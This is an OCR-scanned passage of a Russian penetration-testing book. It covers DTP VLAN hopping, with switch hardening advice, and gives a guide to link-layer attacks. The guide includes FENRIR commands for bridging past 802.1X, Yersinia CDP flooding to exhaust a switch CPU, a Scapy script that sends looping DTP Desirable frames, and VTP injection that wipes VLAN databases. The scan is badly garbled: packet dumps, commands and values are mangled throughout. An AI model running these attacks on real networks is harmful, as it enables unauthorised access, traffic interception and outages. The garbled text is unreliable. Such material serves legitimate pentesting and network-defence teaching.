всех сетей VLAN, мы можем изучить кадры
STP и извлечь оттуда информацию
об.идентификаторе VLAN. Например, в нашем случае мы увидим, что коммутатор
SWl -это корневой коммутатор для сетей VLAN 10 и VLAN 30 (рис. 1.14, 1.15) .
..
..
:
о
4893 1944. 5899498 .. аа:ЬЬ: се :00:18: 11
4894 1946.4855843_ аа:ЬЬ:сс:88:18:11
4895 1946. 4855049.. аа: ЬЬ: се: 08: 10: 11
4896 1946. 5812634 .. аа: ЬЬ: се: 88: 18: 11
4897 1946.5143559... аа:ЬЬ:сс:ее:10:11
4098 1948. 4988426 ... аа:ЬЬ: се :ее:10 : 11
4099 1948 . 4968431.. аа:ЬЬ:с~:08:18:11
4100 1948.5188567.. аа:ЬЬ:сс :ее:10:11
4101 1948. 5288346.. аа: ЬЬ: се: ее: 10: 11
4182 1958 . 4927782- аа:ЬЬ:сс:ВВ:16:11
4183 1950.4927787.. аа:ЬЬ:сс:88:18:11
PVSH
PVST+
Spanning- tree- ( for • _
PVST+
PVST+
PVSH
Spa11ning- tree- ( for •·PVSH
PVST+
PVST+
Spвnning• tгee• (for • ..
68 STP
68 STP
68 STP
68 STP
68 STP
68 STP
68 STP
68 STP
68 STP
68 STP
68 STP
RST.
RST.
RST.
RST.
RST.
RST.
RST .
RST.
RST.
RST.
RST.
о
Root - 32768/38/аа:ЬЬ:сс:88
Root = 32768/1/аа : ьь: се: ее:
Root = 32768/1/аа:ЬЬ:сс:88:
Root = 32768/18/аа: ьь : се: ее
Root = 32768/38/аа: ЬЬ: се: ее
Root = 32768/1/аа: ЬЬ: се: ее:
Root
= 32768/1/аа:ЬЬ:сс:ее:
Root = 32768/18/аа:ЬЬ:сс:ев
Root = 32768/38/аа: ьь: се: ев
Root = 32768/1/аа:ЬЬ:сс:86:
Root = 32768/1/аа: ЬЬ: се: 88:
► Frame 4092
6В bvtes on w1re (5 44 b1t s), 6В bvtes ca pt ured (5 44 blt s) on 1n te r face eth0,
• Ethernet !!, Sr c аа ЬЬ · сс 00 10 ·11 (аа ЬЬ се 00 10 11), Dst PVST• (0 1 ·00 0r се се cd )
е, DEI : е, IO: 10
,
,
► Lo g1 cal LHlk Co nt ro l
1d 0
• 802.lQ Virtual LAN, PRI:
►
Spa пr11пg
Tree Pr otuc.ol
Рис. 1.14. Информация из заголовка 802.1 Q о VLAN 1О
.,.
,.. .,
"
4894 1946 . 4855043 ... аа:ЬЬ:сс:ее : 10:11
4895 1946. 4855849 ... аа: ЬЬ: се: ее: 10: 11
4096 1946. 5012634 ... аа: ЬЬ: се : ее: 10 : 11
4097 1946. 5143559 ... аа : ЬЬ: се : ее : 10 : 11
4898 1948. 4908426 аа:ЬЬ:сс:е0 : 1е : 11
4099 1948. 4908431 ... аа: ЬЬ: се: 00 : 10: 11
4108 1948.5180567 ... аа:ЬЬ:сс:0е : 1е : 11
4101 1948. 5268346 .. аа:ЬЬ : сс:ее : 10:11
4102 1958. 4927782 .. аа:ЬЬ:сс : 00:10 : 11
4103 1950 .4927707 ... аа:ЬЬ:сс:08:18:11
PVSH
68 STP
Spanning·tгee-(for•
68 STP
68 STP
68 STP
68 SТР
60 STP
68 STP
68 STP
68 STP
68 STP
PVST+
PVST+
PVST+
Spanning-tree-(forPVST+
PVST+
PVST+
Spanning - tree-(for -
RST.
RST.
RST.
RST .
RST .
RST .
RST.
RST.
RST.
RST.
oot
Root
Root
Root
Root
Root
Root
Root
Root
Root
= 32768/1/аа : ЬЬ:
= 32768/1/аа:ЬЬ:
= 32768/10/аа:ЬЬ
= 32768/30/аа:ЬЬ
= 32768/1/аа:ЬЬ:
= 32768/1/аа:ЬЬ:
= 32768/18/аа:ЬЬ
= 32766/38/аа:ЬЬ
= 32768/1/аа : ЬЬ:
= 32768/1/аа : ЬЬ:
, Fr ame 4093 : 68 b ytes on wire (544 blt s}, 68 byt es ca ptured (544 Ьн s} оп 1nterfa ce et h0, 1d 0
, Et herne t II, Src аа ЬЬ . сс 00 10 : 11 (аа· ЬЬ сс:00· 10:11) , Ds t
PVST• (0 1. 00 0с сс·сс c d)
►.' 802 : 1Q Virtual . LAN; ' PRI :t 0, .. [!EI: , 0 ; ~ rD:ji' зe_ ~.i.tЧf·~·~$J;·1$1J:Ы11,k :'i >•INJ!;• i?·~ '~"'•"':~~
• Lo g1 cal-L 1nk Control
, Sp ann1ng Tr ee Pr otoco l
Рис. 1.15. Информация из заголовка 802.1 Q о VLAN 30
Как взломать протокол DTP и совершить побег в другую сеть VLAN
21
Создадим виртуальные интерфейсы VLAN и назначим тег VLAN 1D (рис. 1.16).
Теперь поднимем их и запросим адрес по DHCP (рис . 1.17, 1.18).
Теперь мы можем взаимодействовать с хостами, находящимися в сетях VLAN
lО
и 30. Для наглядности отправлю запросы ICMP к машинам Workstation и Fileshare
Server (рис. 1. 19).
nercyo)(Oldheim : •/dtpattacking$ 2.У!!о vconfig add ethO 10
[ sudo] password for mercy:
Warning: vconfig is deprecated and might Ье removed in the future, please migrate to ip{route2) as sooe as possiЫel
,•,.·rc,,xr,1,111••1~ :-/dtpattacking$ sudo vco11fig add eth0 30
Warning: vconfig is deprecated and might Ье removed in the future, please migrate to ip{route2) as soon as possiЫe !
~•.• 1, ум. u ldhe im : •/dtpattacking$
Рис. 1.16. Создание виртуальных интерфейсов VLAN
mercy@COldheim :~/dtpattacking$ sudo ifconfig eth0.10 up
mercy@COldheim :~/dtpattacking$
mercyaJCOldhe iм : ~/dtpattacl<ing$ sudo i fconf ig eth0, 30 up
•
•
•
•
.L
•
Рис . 1.17. Активация виртуальных интерфейсов VLAN
eth0.10
mercyii!COldhein :•/dtpattacking$ sudo dhclient
Internet Systems Consortium DHCP Client 4.4.1
Copyright 2004-2018 Internet Systems Consortium.
All rights reserved.
For info, please visit https: //www. isc. 01·g/softwa1·e/dhcp/
Listening оп LPF/eth0.10/00:50:00:00:04:00
LPF/eth0.10/00:50:00:00:04:00
Sending оп
Sending оп Socket/fallback
DHCPREQUEST for 10.120.10.5 оп eth0.10 to 255.255.255.255 port б7
DHCPREQUEST for 10.120.10.5 оп eth0.10 to 255.255.255.255 рогt 67
DHCPDISCOVER оп eth0.10 to 255.255.255.255 port б7 interval 4
DHCPOFFER of 10.120.10.6 from 10.120.10.254
DHCPREQUEST for 10.120.10.б оп eth0.10 to 255.255.255.255 рогt б7
DHCPACK of 10.120.10.б from 10.120.10.254
bound to 10.120.10.б -- 1·enewal i n 40811 seconds.
. eth0. 30
,,,·п у хо ldheim : ~/dtpattacking$ sudo dhclie11t
Inteгnet Systems Consoгtium DHCP Client 4.4.1
Copyгight 2004-2018 Internet Systems Consortium.
АН 1·ights гeserved.
Fог info, please visit https://www.isc.org/software/dhcp/
Listening оп LPF/eth0 .30/00:50 :00:00:04:00
LPF/eth0.30/00:50:00:00:04:00
Sending оп
Sending оп Socket/fallback
DHCPREQUEST fог 10.120.30 .4 оп eth0.30 to 255.255.255.255 рогt 67
DHCPREQUEST fог 10.120.30.4 ОП eth0.30 to 255.255.255.255 port б7
DHCPREQUEST for 10.120.30.4 оп eth0.30 to 255.255.255.255 port б7
DHCPDISCOVER оп eth0.30 to 255.255.255.255 рогt 67 inte1·val 5
DHCPOFFER of 10.120.30.5 from 10.120.30.254
DHCPREQUEST fог 10,120.30. 5 оп eth0. 30 to 255. 255. 255. 255 pot·t б7
DHCPACK of 10.120.30.5 from 10.120.30.254
bound to 10.120.30.5 -- гenewal in 34648 seconds.
,,,. 1·( yoJC0ldhe im : ~/dtpattacking$
Рис. 1.18. Успешное получение адресов по DHCP
22
Глава 1
Рис.1.19. Успешное прохождение запросов ICMP
Защита
Чтобы защитить коммутаторы в сети от этой атаки на протокол DTP, необходимо
перевести в режим доступа все порты, куда подключаются рабочие станции, и вы­
ключить протокол
DTP на портах. Весьма легкая задача, согласитесь? Приведу
пример настройки на порту коммутатора, куда была подключена машина атакую­
щего.
Сначала переведем порт в режим доступа командой switchport mode access, а затем
отключим DTP на порту командой switchport nonegotiate:
SWl(config)#interface ethernet 1/1
SWl(config-if)#switchport mode access
SWl(config-if)#switchport nonegotiate
Теперь эта атака неосуществима, т. к. порты больше не реагируют на несанкциони­
рованные кадры DTP.
Вывод
В этой главе я разобрал сценарий взлома протокола DTP и компрометации сетей
VLAN. Лично я считаю, что использование DTP в рамках продакшена - это явный
пример некачественного дизайна сети, ибо магистральные каналы (транки) должны
быть там и только там, где это запланировано. Конечно, сетевой администратор
сэкономит какое-то время на настройке магистральных каналов с использованием
DTP, но это не стоит того, чтобы пользоваться столь небезопасным решением
в сети.
ГЛАВА 2
Большой гайд
по пентесту канального уровня сети
https://t.me/it_boooks/2
Если злоумышленник атакует сеть на канальном уровне , он может перепрыгнуть
через все средства защиты, настроенные на более высоких уровнях. В этой главе
мы совершим увлекательное путешествие по большинству векторов атак на этот
самый низкий уровень сети.
Импакт от атак
Основная задача атакующего -
получить доступ к ресурсам компьютерной сети
или нарушить нормальную работу сети (Denial of Service). В большинстве случаев
атаки канального уровня проводятся вместе , чтобы извлечь больше пользы от экс­
плуатации . Например , атака с переполнением ассоциативной памяти коммутатора
создает идеальные условия для перехвата трафика. Атака на протокол DTP позво­
ляет нарушителю совершить побег в другую сеть VLAN и скомпрометировать сег­
менты VLAN .
Атаки канального уровня можно разбить на три типа:
□ МIТМ. Злоумышленник « встает посередине» между сетевыми устройствами и
перехватывает трафик . Но при этом для легитимных хостов в сети видимых при­
знаков атаки нет;
□
DoS . Злоумышленник может провести разрушительную атаку на сетевое обору­
дование, чтобы вывести его из строя. Такие атаки в пентестах менее практичны
и годятся только как отвлекающий маневр при редтиминге;
□ Несанкционированный доступ к сегментам сети. Злоумышленник, используя
недостатки протоколов, непредсказуемым образом может получить доступ к тем
участкам сети , доступа к которым быть не должно. Например, это атаки
DTP
VLAN Hopping, DouЫe Tagging.
Дисклеймер и вооружение
На канальном уровне много векторов для атак типа «отказ в обслуживании». Преж­
де чем эксплуатировать их в ходе пентеста , обязательно согласуйте свои шаги
Глава 2
24
с заказчиком! Применение DоS-атак в рамках продакшена -
штука специфичная.
На мой взгляд, они полезнее всего при редтиминrе для отвлечения синей команды.
Мы будем использовать следующие инструменты:
□
□
Yersinia (https://github.com/tomac/yersinia) на L2 и стресс-теста компьютерных сетей;
Scapy (https://scapy.net/) -
модуль
фреймворк для проведения атак
Python для манипулирования сетевыми
пакетами. Может служить как сниффером, так и пакетным инжектором;
□
FENRIR (https://github.com/Orange-Cyberdefense/fenrir-ocd) -
фреймворк, соз­
данный для обхода 802.1 Х в сетях Ethemet.
Как обходить 802.1Х
IEEE 802.1 Х -
это стандарт аутентификации и авторизации конечных абонентов
на канальном уровне. Он поддерживает контроль доступа и не позволяет устройст­
вам подключаться к локальной сети, не пройдя специальный процесс авторизации.
Это открывает возможность существенно повысить уровень защищенности локаль­
ной сети, отсекая несанкционированные подключения. Для пентестеров
802.1 Х
может оказаться серьезной проблемой.
МАС Authentication Bypass
Этот очень простой метод обхода 802.1 Х. МАВ используется для устройств, кото­
рые не поддерживают аутентификацию
802.lx. Грубо говоря, это М,АС-автори­
зация. МАВ обойти очень просто. Нам нужно просто найти какое-нибудь легитим­
ное устройство, списать с него МАС-адрес и настроить этот МАС-адрес на сетевой
интерфейс атакующеti машины. Подключаемся к коммутатору и получаем доступ
к сети. Не буду показывать эту атаку на практике, она слишком проста.
Bridge-based Attack
Самый популярный и эффективный метод обхода 802.1 Х -
атака на основе моста.
Для реализации нужно поместить свое устройство между легитимным клиентом,
прошедшим аутентификацию
802.lX, и
коммутатором. Коммутатор выступает
в роли аутентификатора и обеспечивает связность между клиентом и сервером
аутентификации (рис. 2.1, 2.2).
Только у этой атаки есть одно ограничение. Чтобы ее проэксплуатировать в про­
дакшене, нужно легитимное устройство, прошедшее аутентификацию 802.1 Х. Им
может быть какой-нибудь принтер, IР-телефон, возмож,но, вы сумеете отыскать
ноутбук какого-нибудь сотрудника.
Для демонстрации атаки я буду использовать инструмент FENRIR.
Для начала нам надо перевести физические интерфейсы в режим promiscious (не­
разборчивый режим):
Большой гайд по пентесту канального уровня сети
25
GW
FENRIR
-Legitimate Cllent
CoreSW
Evil Device
RADIUS
Рис. 2.1. Схема проведения атаки на 802.1Х
Device
IPAddress
Legitimate Device
10.1.1.3/24
Evil Device
10.1 .1.50/24 (After create bridge)
GW
10.1.1.254/24
RADIUS
10.1.1.5/24
Рис. 2.2. IР-адресация схемы
caster@kali:~$ sudo ifconfig eth0 promisc
caster@kali:~$ sudo ifconfig ethl promisc
Запускаем FENRIR и назначаем IР-адрес легитимного устройства, его МАС-адрес и
два интерфейса нашей атакующей машины. В боевых условиях всю информацию
вы сможете найти, прослушивая трафик. В качестве hostlface выступит интерфейс,
смотрящий в сторону легитимного устройства, netlface -
это интерфейс, который
смотрит в сторону коммутатора. После этого создаем бридж, он будет называться
FENRIR.
caster@kali:~$ sudo python2 Interface.py
FENRIR > set host_ip 10 . 1.1.3
FENRIR > set host mac 50:00:00:04:00:00
Глава 2
26
FENRI R > set hostiface ethl
FENRIR > set net i face ethO
FENRIR > cr eate_virtual_tap
После создания бриджа его необходимо настроить . Переключаем его в режим
promiscious, назначаем желаемый IР-адрес с соблюдением маски подсети . В конце
добавляем маршрут по умолчанию для созданного бриджа FENRI R.
·caster@kali: ~$ sudo i fcon fi g FENRI R promisc
caster@kal i:~$ sudo ifconfig FENRIR 10.1.1.50 netmask 255.255 . 255.0
caster@kal i:~$ sudo rout e add defaul t gw 10. 1.1.254 FENRIR
Командой r un в консоли инструмента FENRIR начинаем атаку .
FENRIR > run
Теперь у нас есть доступ к сети , можем провести дальнейшую сетевую разведку,
обнаружить
соседей
в
этой
сети .
Запускаем
АRР-сканирование
с
помощью
netdiscover (рис . 2.3).
Рис. 2.3. Результат АRР-сканирования
Проверим, доступен ли путь к маршрутизатору (рис . 2.4).
После эксплуатации атаки легитимный хост не потерял соединение и имеет доступ
к Интернету (рис . 2.5, 2.6).
c01dheim&PYIN : ~/fenri;~oci$ ~с/ •
c01dheit11{JlPVIN :~$ ping 10.1.1,?54
PING 10.1.1.254 (10.1.1~254) .56(84) bytes of data.
64 bytes fron1 10.1.1.254: icmp_seq=l ttl=255 tinie=97.0 111s
64 bytes from 10.1.1.254: icmp_seq=2 ttl=255 time=45.3 ms
64 bytes from 10.1.1.254: icmp_seq=З ttl=255 time=43.9 ms
64 bytes from 10.1.1.254 icmp_seq=4 ttl=255 time=66.0 ms
64 bytes from 10.1.1.254 icfu~~ieq=5 ttl=255 time=43.0 ms
лс
Рис. 2.4. Успешные IСМР-запросы в сторону маршрутизатора
Большой гайд по пентесту канального rеовня сети
27
C:\Users\radiant>ping 8 . 8.8 . 8
Pinging 8.8.8.8 with 32 bytes of data:
Reply from 8.8.8.8: bytes =32 time=103ms ТГL=106
Reply from 8.8.8.8: bytes-32 time=105ms TTL=106
Reply from 8.8.8.8: bytes =32 time=97ms TTL=106
Ping statistics for 8.8 . 8 . 8:
Packets: Sent = 3, Re(ei•.,ed ~ 3, Lost '" 0 (0% loss),
Approximate round trip times in milli - seconds:
Hinimum = 97ms, Haximum = 105ms, Average = 101ms
Control-C
"С
C: \Users\radiant>_
Рис. 2.5. Успешные IСМР-запросы с легитимного хоста к Интернету
98 22 . 697684962
99 23. 677457362
189 23 . 789986491
1 5
182 24 . 685427927
183 24 . 718136818
184 25 . 713617685
185 25 . 746362849
18 . 1. 1,3
8.8.8 . 8
18 . 1. 1.3
• r
1
11
8 '6716 q49
11 1
11
14
1 7J~194
J1J;ббе2
q952.374Jб
1
8
ее
1
sв.0е ее:л ее
01
se 00 00 е1 во 01
se ее ее-01 ее 01
50-00 ее
50
se
,pan111n9 tree-{for-br•does) ее
8.8 .8. 8
18 . 1. 1.3
8.8.8.8
18 . \.1 . 3
Е
~
/22322263
16
1 9 , 164431~7
16 34 ,93881888
11' ,б В27189425
е
18 . 1. 1 . 3
8.8.8.8
18 , l . l , 3
8. 8.8 .8
er во 01
00 о: 66.01
00 е, ее-01
s0 е ее 0, 00 01
~е 00 00·01 ее е1
ее
ее ( for br dgos
51 ,
"'' ;1 tree ( fo, br .._dge!. IЭО
~
Sponning tree lfor-'bridges) 00
Spann1n9 tree-(for-ьr·1dqes) ее
Spanning- tree Ifor-bridges) 86
Spann111g-tree (for-bridges) 00
Span111n9 tree- i for-brtdges) 60
Sporin1ng tree-(for bпdges' 00
~pann1ng tree I tor br 1dg•s ее
tree for,brir1 es) 80
Sмnri11
74 Echo (p1no)
74 Echo ( p1ng)
74 Echo (ping)
Ro,
66 RS
74 Echo {p1ng)
74 Echo (p1no)
74 Echo ( ping)
74 Echo {ping)
бd RS
68 RST Rc
68 RST Root • J.
66 RST Root • 12
69 RST Root • 32
66 RSТ Root • 32
12
60 RST Root
60 RST Root • 32
J2
•
68 RS? Roo<
1,·
69 RST Roo•
id•9x08Sl .
1d•8x8081 ,
id•Sx8081,
id•8xG091 ,
Рис. 2.6. Дамп трафика с атакующей машины
CDP Х LLDP
Reconnaissance
Дамп трафика CDP/LLDP дает большой импакт, поскольку нарушитель получает
много информации о сетевом устройстве -
начиная от модели устройства и закан­
чивая даже типом дуплекса (рис. 2.7, 2.8). Информация, полученная из дампа тра­
фика CDP/LLDP, будет полезной для злоумышленника. Он может ее использовать ,
чтобы определить версию прошивки коммутатора. Если в ней найдется известная
уязвимость , то злоумышленник сможет провести атаку.
Глава 2
28
Рис . 2.7. Дамп СОР-трафика
L:1 □ •@)
•
No
llm~
.t 81! о.,. ➔
Sourc:~
f\
. ..
... . .
Oestinatlon
а
а
alll
Protocol
Length
lnfo
Рис. 2.8. Дамп LLDР-трафика
Большой гайд по пентесту канального уровня сети
29
CDP Flooding
Злоумышленник может вызвать отказ в обслуживании коммутатора
Cisco, если
разошлет огромное количество сообщений CDP. Центральный процессор коммута­
тора будет полностью перегружен, а таблица соседей CDP начнет переполняться
(рис. 2.9). Атака достаточно простая, поэтому много о ней говорить не буду.
--
CDP Flooding Attack
OVERLOADING CPU!
__,.
__,.
+-+--
Рис. 2.9. Схема атаки на CDP
Чтобы провести эrу атаку, воспользуемся Yersinia. Нас интересует опция tlooding
CDP tаЫе, она вызовет лавинную и очень быструю рассьmку кадров CDP, которые
приведут к перегрузке центрального процессора коммутатора, что сделает невоз­
можной нормальную рабоrу сети (рис. 2.10--2.13).
Рис. 2.10. Атака на CDP с помощью Yersinia
Глава 2
30
Рис . 2.11 . Лавинная рассылка СОР
Рис. 2.12. Переполняющаяся таблица соседей СОР
Большой гайд по пентесту канального уровня сети
31
Tota1 cdp entries disp1ayed
824
Switch#show pr
Switch#show ргос
Switch#show processes ер
Switch#show processes cpu
CPU uti1ization for five seconds: 99%/0%; one m1nute: 20%; five minutes: 4%
Рис. 2.13. Перегруженный центральный процессор коммутатора
Нападение на сети VLAN
Динамический транк и побег
в другие сегменты VLAN
Эта атака применима только к коммутаторам Cisco. Суть атаки заключается в том,
чтобы принудительно перевести порт в режим магистрального канала. За автома­
тический транкинг на коммутаторах Cisco отвечает протокол DTP. По умолчанию
все порты коммутатора Cisco находятся в режиме DTP Dynamic Auto. Это означает,
что порт будет ожидать инициацию транка с соседнего порта. Атакующему остает­
ся только отправить специально подготовленный кадр DTP DesiraЫe, и он сможет
совершить прыжок абсолютно в любую сеть VLAN и видеть трафик всех сетей
VLAN (рис. 2.14). Подробнее эта атака описана в первой главе.
DTP Auto Mode Port
1
1
DTP Switch
Attacker
Рис. 2.14. Схема атаки на протокол DTP
Соберем кадр DTP DesiraЫe с помощью Scapy. Для начала необходимо импортиро­
вать модуль для работы с протоколом DTP:
>>> from.scapy.contrib.dtp import *
Собираем фрейм Ethemet 802.3, МАС-адрес источника будет рандомизированным,
а в качестве МАС-адреса назначения будет адрес мультикастовой L2-рассылки
01:00:ОС:СС:СС:СС.
INFO
Мультикастовый адрес Ol:OO:Oc:cc:cc:cc используется не только протоколом DTP, но
и другими, например СОР, VТР,
PAgP, UDLD. Чтобы протоколы отличались друг от
Глава 2·
32
друга при отправке объявлений по одинаковому мультикастовому адресу, для них
реализовано уникальное значение в заголовке
SNAP на уровне LLC (Logical Link
Control). Для DTP это значение равно Ох2004.
Не забываем о слоях 11с и SNAP с указанием значения Ох2ОО4, определяющего, что это
именно протокол DТР. Значения заголовков в
tlvlist оставляем по умолчанию,
кроме DТPNeighЬor. И в конце зациклим отправку собранного кадра -
пусть посыла­
ется раз в три секунды. Потому что если порт был сконфигурирован динамически,
то время его жизни всего 300 секунд (5 минут).
»> mymac = RandМAC()
»> dtp_frame = DotЗ (src=mymac, dst="0l:00:0C:CC:CC:CC")
>>> dtp_frame /= LLC(dsap=0xaa, ssap=0xaa, ctrl=З)/SNAP(OUI=0x0c, code = Ох2004)
>>> dtp frame /=
DТР (tlvlist= [DTPDomain (), DТPStatus (), DТРТуре (), DTPNeighЬor (neighЬor=mymac)])
»> sendp (dtp_ frame, iface="eth0", inter=З, loop=l, verbose=l)
Почему-то в Scapy в дефолтном кадре DTP по умолчанию хранятся все необходи­
мые значения, чтобы собрать именно кадр DTP DesiraЫe. Я пока не знаю, с чем это
связано, но нам это на руку: сэкономим время. Поэтому мы оставили параметры
DTP по умолчанию (за 11сключением DТPNeighЬor).
Однако вкратце расскажу о самых важных для нас заголовках и их значениях
(рис. 2.15):
□ DТРТуре
значение заголовка, указывающее на использование инкапсу­
= '\xas' -
ляции 802.1 Q;
□ DТPStatus
статус
= '\хОЗ' -
DesiraЫe,
то,
значение заголовка, указывающее на статус DТР-кадра. Это
что
нам
нужно
для
инициации
магистрального
режима
порта.
После проведения атаки мы можем видеть трафик всех сетей VLAN. В результате
сетевой разведки обнаружены сети VLAN 100, 200, 220 и 250. Эти значения VLAN
1D расположены в одном из заголовков протокола STP - Root Identifier (Root
Bridge System 1D Extension, рис. 2.16).
Теперь необходимо создать в~ртуальные интерфейсы VLAN, поднять их и запро­
сить адрес по DHCP (рис. 2.17). В итоге мы сможем взаимодействовать со всеми
хостами во всех сетях VLAN (рис. 2.18).
caster@kali:~$ sudo vconfig add eth0 100
caster@kali:~$ sudo vconfig add eth0 200
caster@kali:~$ sudo vconfig add eth0 220
caster@kali:~$ sudo vconfig add eth0 250
caster@kali:~$ sudo ifconfig eth0.100 up
caster@kali:~$ sudo ifconfig eth0.200 up
caster@kali:~$ sudo ifconfig eth0.220 up
caster@kali:~$ sudo ifconfig eth0.250 up
caster@kali:~$ sudo dhclient -v eth0.100
caster@kali:~$ sudo dhclient -v eth0.200
caster@kali:~$ sudo dhclient -v eth0.220
caster@kali:~$ sudo dhclient -v eth0.250
33
Большой гайд по лентесту канального уровня сети
>» DTP().show()
###[ ll'T ]###
ver= 1
\ tlv1ist\
>>> DTPDomain().show()
###[ ГР Dо,~д ,r, ]###
type= 1
l engt h= None
domain= '\х00'
>>> DTPStatus(),show()
###[ rнг St-1(,,e; ]###
type= 2
length= None
status= '\х03'
Рис. 2.15. Структура
дефолтного кадра DTP в Scapy
>>> DTPType().show()
###[ DJP Тур~ ]###
type= З
length = None
dtptype= '\ха5'
>>> DTPNeighbor(),show()
###[ DTP Neighhnr ]###
type= 4
len= 10
neighbor= None
»> 1
Captur1ng from ethO
F1le
Ed1t yiew
~
9lpture Analyze ~t3t1st1cs Telephony Wiretess IooLs J:telp
• 0 ,8, @ .1 •
~ [!I
о
Source
•
nme
О. ~
➔
()
+ ➔• ~
Dest1nat1on
ii
D
1:1
D
IIJ
Protocol Len9th
Рис. 2.16. Дамп трафика из Wireshark
lnfo
Глава 2
34
б: et hU. NOo)ett,o:
jfBROADCAST ,MUL ТICAST ,UP, LOWER_UP> n1tu 1500 qdisc noqueue state UP group default q1en 1000
link/ether 92 : 51:92 :70 :5 7:ЬО brd ff:ff : ff : ff:ff:ff
inet
/24 brd
scope global dynamic eth0.200
valid _lft 8б39бsес prefeпed _ lft 86396sec
inetб
/б4 scope link
valid _lft for·ever preferred_lft forever
7: е!11О. ПОо)еt hO: <BROADCAST ,MUL ПСАSТ, UP, LOWER _UP> mt11 1500 qd i sc noqueue state UP gr·oup defautt qler, 1000
link/ether 9 2:5 1 :92 :7 0:5 7:ЬО brd f f:f f : ff :f f : ff : ff
1net
/24 brd
scope global dynamic eth0.220
valid _lft 86290sec preferred _lft 86290sec
/64 scope link
1 net6
val 1d_lft forever preferred _lft forever
8 : •·111(l,}~,(J,01e !i10, <BROADCAST,MULТICAST,UP,L0\1/ER _ UP> mtu 1:,00 qd i sc noqueue state UP group default qlen 1000
l1nk/e the r 9l.5 \ :92 : /О:~7 : Ы brd ff:f t : f f: tf .1 1:f l
inet
/ 24 brd
scope global dy"am1c e t h0.250
val1d _lft 86295sec prefeпed " lft 86295sec
i r,et6
•464 scope liпk
valid _lft foreve1· pr·efeпed _ lft forever·
9: •·l•10.10(1o)••ti1l'. < BROADCAST,MULТICAST , UP,L0\1/t H _UP> mtu 1500 qd1sc noqueue state UP group default qlen 1000
link/ether 92:5 1:9 2: 7 0: 5 7: Ь О brd ff:f f : f f: ft : ff : ff
inet
/24 brd
scope global dynami c eth0.100
va lid_ lft 86179sec pt·eferred_ lft 86179sec
inetб
• /б4 scope link
valid lft forever preferred _lft forever
~ $1
Рис. 2.17. Успешное получение адресов по DHCP
Dynamic Trunk Port
ACCESS ТО ALL VLANS!
Attacker
,,
,,
Рис. 2.18. Доступ ко всем сетям VLAN
VТР-иныкции и манипуляции базами данных VLAN
Протокол
VTP был создан для того, чтобы автоматически и централизованно
управлять базами данных VLAN на коммутаторах Cisco. Для этого используются
номера ревизии конфигурации. С их помощью коммутатор определяет самую
свежую базу данных VLAN, принимает объявления
увидев больший номер ревизии.
VTP и обновляет БД VLAN,
Большой гайд по пентесту канального уровня сети
35
Роли коммутаторов в домене VТР
□
VTP Server. Коммуrатор в роли VTP Server может создавать новые VLAN, уда­
лять старые или менять информацию в самих VLAN. Также он занимается гене­
рированием объявлений VTP для остальных членов домена.
□
VTP Client. Коммуrатор в этой роли будет получать специальные анонсы VTP от
других коммуrаторов в домене, чтобы обновлять базы данных VLAN у себя.
Клиенты ограничены в возможностях создавать VLAN и даже не имеют права
локально изменять конфигурацию VLAN. Иначе говоря, доступ read only.
□
VTP Transparent. В этом режиме коммуrатор не участвует в процессах VTP и
может вести у себя полное и локальное администрирование всей конфигурации
VLAN. Работая в прозрачном режиме, коммуrаторы занимаются только переда­
чей объявлений VTP от других коммуrаторов, не затрагивая свою конфигу­
рацию сетей VLAN. У таких коммутаторов номер ревизии всегда будет равен
нулю, и против них атаки с инъекцией VTP не провести.
Типы объявлений в домене VТР
□
Summary Advertisement - объявление VTP, отправляемое сервером VTP каждые
300 секунд (5 минут). В этом объявлении хранится имя домена VTP, версия про­
токола, отметка времени и значение MDS-xeшa конфигурации;
□
Subset Advertisement -
объявление VTP, которое отправляется при каждом из­
менении конфигурации VLAN;
□
Advertisement Request -
это запрос от клиента VTP к серверу VTP на сообще­
ние SUIП!lary Advertisement. Обычно рассылается в ответ на сообщение о том, что
коммуrатор обнаружил SUIП!lary Advertisement с большим номером ревизии конфи­
гурации.
Attacker
Mallclous VТР Conf wlth rev.99999
_.
_ . ---------
_.
_.
+--
+--
VТР Conf rev.23
VТР Conf rev.23
.........
+--
--------· + - -_ .
Рис. 2.19. Схема атаки на домен VТР
VТР Conf rev.23
Глава 2
36
Чтобы атаковать домен VTP, необходимо, чтобы порт, к которому мы подключены
во время атаки, был в режиме магистрального канала. Кстати говоря, атака на VTP
может быть следующим шагом после того, как вы атаковали протокол DTP и стали
транковым каналом. Злоумышленник сможет проводить VТР-инъекции и отправ­
лять якобы «обновленные» базы данных VLAN с большим номером ревизии. Леги­
тимные коммутаторы, в свою очередь, примут и обновят свои базы данных VLAN.
Провести такую атаку нам поможет У ersinia. Рассмотрим атаку на VTPv 1 с после­
дующим удалением всех VLAN (рис. 2.19-2.21 ).
Со reS\•l#s/101,1 vlaп
Ьr
Status
Poгts
default
active
Gi0/l, G10/2, G10/3, Gil/0
Gil/1, Gil/2, Gil/3
YN
active
active
active
active
VLAN Nnme
123
VIRUS
334 DEEPINSIDE
777 BL00D
1002 fddi-default
333
1003 trcгf-default
1004 fdcl1пet-defaul t
1005
trbгf-defaLJl t
act/uпsup
act/uпs LIP
act/UllSUP
act/LlllSUP
Рис. 2.20. Таблица VLAN на коммутаторе до атаки
Рис. 2.21. Инъекция VТР с удалением всех VLAN на коммутаторе
Большой гайд по пентесту канальноги уровня сети
37
У ersinia сгенерирует специальные VТР-объявления Summary Advertisement и SuЬset
Advertisement (рис. 2.22).
Как видим, после проведения атаки все созданные VLAN были удалены. VLAN 1 и
VLAN в диапазоне 1002-1005 никуда не денутся, поскольку созданы по умолчанию
(рис. 2.23).
f1te
~d1t Yiew
§о
~apture ~nalyze ?tat1st1cs Tetephony ~retess Joots
LJ O &J @ .! • ti Гi,j
~
➔
-~ ➔•
()
1111 ~
t:felp
D
1:1
D iВ
• Тime
No.
83 8 453978418
84 S 489226394
85 8. 489227395
497 58 2627144 78
498 58 262715389
499 58 588813128
.'
f-
Source
Destinat1on
ProtocoL
02сс7 dc:7f•8e rЗ
Ci-:co 1 сс:ее
c... ~i;;o 87.сс 0е
C1sco 87·сс Je
Cisco 87:сс:Ве
82 c2·dc•7f 8е •l
(ОР VTP/OTP/PAgP1UOI.D
CDP1 VTPIDTPiPAgP/UDLO
CDP/VTP DTP/Pд9P/UDLD
CDP/VТP/DTP/PAgP /UDLD
CDP /VTP /DT Р /РдgР /UDLD
V!P
VTP
VTP
VTP
СОР/VТР DTP/PдqP/UOШ
VТР
.
1
163 90 2344uu7~9 l.s о 51 rc е
764 98 234~81581 с, s
87 с ее
9е
1620 188. 350625625 С rn в1
162! 188. 359885431 Cis о J7 с е
